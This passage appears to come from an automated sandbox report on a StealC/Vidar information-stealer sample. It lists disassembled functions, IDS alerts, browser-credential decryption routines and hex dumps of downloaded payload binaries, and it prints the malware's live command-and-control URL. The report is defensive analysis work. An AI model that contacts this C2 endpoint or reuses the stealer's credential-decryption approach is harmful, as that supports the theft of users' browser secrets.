Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Error$LastMutexReleaseUnlockValue
String ID:
API String ID: 4014558462-0
Opcode ID: b50a46aacf6e05d2a8d1e6a63e92c80b2d49ea7a7a6b2f85fab6257579f290e7
Instruction ID: 8aebc9ec35ae672a599bc6bc5420220e73b5d1094419acfc08d85857e98cf2a3
Opcode Fuzzy Hash: b50a46aacf6e05d2a8d1e6a63e92c80b2d49ea7a7a6b2f85fab6257579f290e7
Instruction Fuzzy Hash: 45F0E974B143459BFF00FF759C1CB1A33A99B8120DF058436E80AC7E50EF25E544C659

Function 6C58CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6C58CC61
free.MOZGLUE ref: 6C58CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6C58CC80
free.MOZGLUE(?), ref: 6C58CC87

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 2e6c1cbef8b8112a5bb759d67e403d0bbbd943e86aa7072167d3ee6a644ceaf6
Instruction ID: fa08770f15aa3320f578dab9c4c8310cdd2965014aaa963566d5d1bec089dd16
Opcode Fuzzy Hash: 2e6c1cbef8b8112a5bb759d67e403d0bbbd943e86aa7072167d3ee6a644ceaf6
Instruction Fuzzy Hash: 89E06576700A089FCA10EFA9DC48C8B77BCEE492743160529E691C7700D332F905CBE5

Function 004011D0 Relevance: 6.0, APIs: 4, Instructions: 26COMMON

Download Yara Rule

APIs

CreateDCA.GDI32(014FAB88,00000000,00000000,00000000), ref: 004011E2
GetDeviceCaps.GDI32(?,0000000A), ref: 004011F1
ReleaseDC.USER32(00000000,?), ref: 00401200
ExitProcess.KERNEL32 ref: 00401211

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CapsCreateDeviceExitProcessRelease
String ID:
API String ID: 272768826-0
Opcode ID: 260d31c59a6825f795d57121dd492f178e6e6c923e6ea3e29db046fa5edd3e89
Instruction ID: ed9884e5d74d46977e8df864d01039e67b6c1105ae855f948e647e2f19da04a8
Opcode Fuzzy Hash: 260d31c59a6825f795d57121dd492f178e6e6c923e6ea3e29db046fa5edd3e89
Instruction Fuzzy Hash: B2F0E57DAC0304BFE710AFE0DC49B6D7BB6E745701F109159F605A62D0D6755501CB52

Function 6C4C4D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C4C4D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6C4C4DE6

Strings

%d.%d, xrefs: 6C4C4DDE

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: c04b2178c31a52a406666a7f31570d4bffa828acf978a8da86b7ccd2f1a6e6a5
Instruction ID: bce491581265a025431ac02413924f763edbf379fa0a1b2c1a4bb7a2a0b011fa
Opcode Fuzzy Hash: c04b2178c31a52a406666a7f31570d4bffa828acf978a8da86b7ccd2f1a6e6a5
Instruction Fuzzy Hash: FF31D6B6E042186BEB10EBA19C01FFF7768EF80349F050429ED159B791EB319905CBE6

Function 00418B60 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60timeCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

GetSystemTime.KERNEL32(?,015003D8,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Strings

cI@, xrefs: 00418B6C, 00418BE5, 00418BF0, 00418C04, 00418BD3, 00418BF3
cI@, xrefs: 00418BB1, 00418BE1, 00418BE4

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: SystemTimelstrcpy
String ID: cI@$cI@
API String ID: 62757014-1697673767
Opcode ID: aa47265d88191fa58763f5682c75fb926ce4e7207e02c7c3cde0455718616323
Instruction ID: 15f3dfc6f8d56a301bf8b2a7a9260479b6db203ca669f730be279af5ebf73ee3
Opcode Fuzzy Hash: aa47265d88191fa58763f5682c75fb926ce4e7207e02c7c3cde0455718616323
Instruction Fuzzy Hash: 7111E971D00008AFCB04EFA9C8919EE77B9EF58314F04C05EF01667241DF38AA86CBA6

Function 6C4E4CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8Nl,00000000,00000000,?,?,6C4E3827,?,00000000), ref: 6C4E4D0A

Part of subcall function 6C4D0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C4D08B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6C4E4D22

Part of subcall function 6C4CFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C471A3E,00000048,00000054), ref: 6C4CFD56

Strings

'8Nl, xrefs: 6C4E4D07

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8Nl
API String ID: 1521942269-472363851
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: faaf1da02f076401c36e61d6fa22b85c5f9c96ca1c42ad876172112f7ffff881
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: 94F0623260123467EB108DAAAC80F8737DC9B496FFF161271ED28CBB91E621DC0586E1

Function 00413BDB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16filestringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,?,?,00000104,?,00000104), ref: 00413935
StrCmpCA.SHLWAPI(?,00420F70), ref: 00413947
StrCmpCA.SHLWAPI(?,00420F74), ref: 0041395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00413C67
FindClose.KERNEL32(000000FF), ref: 00413C7C

Strings

!=A, xrefs: 00413C82

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Find$CloseFileNextlstrcat
String ID: !=A
API String ID: 3840410801-2919091325
Opcode ID: ec3eb8fcd7deb6c29ac1391ae926f32523ec5629f39bf7b4dfd2b3276f6df592
Instruction ID: 20ec2b31cb4d991c835852fde49fc2354676703d0d5a57c203257a76fc367b8d
Opcode Fuzzy Hash: ec3eb8fcd7deb6c29ac1391ae926f32523ec5629f39bf7b4dfd2b3276f6df592
Instruction Fuzzy Hash: FCD012756401096BCB20EF90DD589EA7779DB55305F0041C9B40EA6150EB399B818B95

Function 6C4D0DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6C4D0DF5
TlsGetValue.KERNEL32 ref: 6C4D0E2D
TlsGetValue.KERNEL32 ref: 6C4D0E58
TlsGetValue.KERNEL32 ref: 6C4D0E84

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 06c9ce6ee669cd0872f923f964c6b59c93e15fd9b3c3c540eef7dc38f8c036a7
Instruction ID: 9faeb92f070ff0a36f6b37508af881ab9ec881005d8387683d97c9dab4499168
Opcode Fuzzy Hash: 06c9ce6ee669cd0872f923f964c6b59c93e15fd9b3c3c540eef7dc38f8c036a7
Instruction Fuzzy Hash: 2E31A070A457968BDB00FF39C854E5977A4BF06309F03462DD8888BB11DB30E485CA89

Function 6C42A4E0 Relevance: 5.1, APIs: 4, Instructions: 75stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,6C42A468,00000000), ref: 6C42A4F9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,6C42A468,00000000), ref: 6C42A51B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C42A468,?,6C42A468,00000000), ref: 6C42A545
memcpy.VCRUNTIME140(00000001,6C42A468,00000001,?,?,?,6C42A468,00000000), ref: 6C42A57D

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: strlen$memcpy
String ID:
API String ID: 3396830738-0
Opcode ID: 600eb8a033a5ca9a43437b08be08586c367961074f3215d643a34829541b8b4a
Instruction ID: 4a2089e7010d8aac8d5ba477800ce8ce4a4989494ec8b7cbbc72d7e6dcd5e41a
Opcode Fuzzy Hash: 600eb8a033a5ca9a43437b08be08586c367961074f3215d643a34829541b8b4a
Instruction Fuzzy Hash: 20110AB3D01355A7DB00CAB99C82E9B77A99F95278F280234ED24C7780F679994982E1

Source: 3.2.RegAsm.exe.400000.1.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://193.233.113.184/6d687e53250c2111.php", "Botnet": "LogsDiller"}
Source: 3.2.RegAsm.exe.400000.1.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://193.233.113.184/6d687e53250c2111.php", "Botnet": "LogsDiller"}

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00409B60 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	3_2_00409B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040C820 memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcatA,lstrcatA,PK11_FreeSlot,lstrcatA,	3_2_0040C820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00407240 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	3_2_00407240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00409AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	3_2_00409AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00418EA0 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	3_2_00418EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C366C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	3_2_6C366C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C4BA9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	3_2_6C4BA9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C4B4440 PK11_PrivDecrypt,	3_2_6C4B4440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C484420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	3_2_6C484420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C4B44C0 PK11_PubEncrypt,	3_2_6C4B44C0

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 193.233.113.184:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49730 -> 193.233.113.184:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 193.233.113.184:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49730 -> 193.233.113.184:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 193.233.113.184:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49730 -> 193.233.113.184:80
Source: Network traffic	Suricata IDS: 2044249 - Severity 1 - ET MALWARE Win32/Stealc Submitting Screenshot to C2 : 192.168.2.4:49730 -> 193.233.113.184:80

Source: Malware configuration extractor	URLs: http://193.233.113.184/6d687e53250c2111.php
Source: Malware configuration extractor	URLs: http://193.233.113.184/6d687e53250c2111.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 24 Sep 2024 19:30:04 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 24 Sep 2024 19:30:09 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 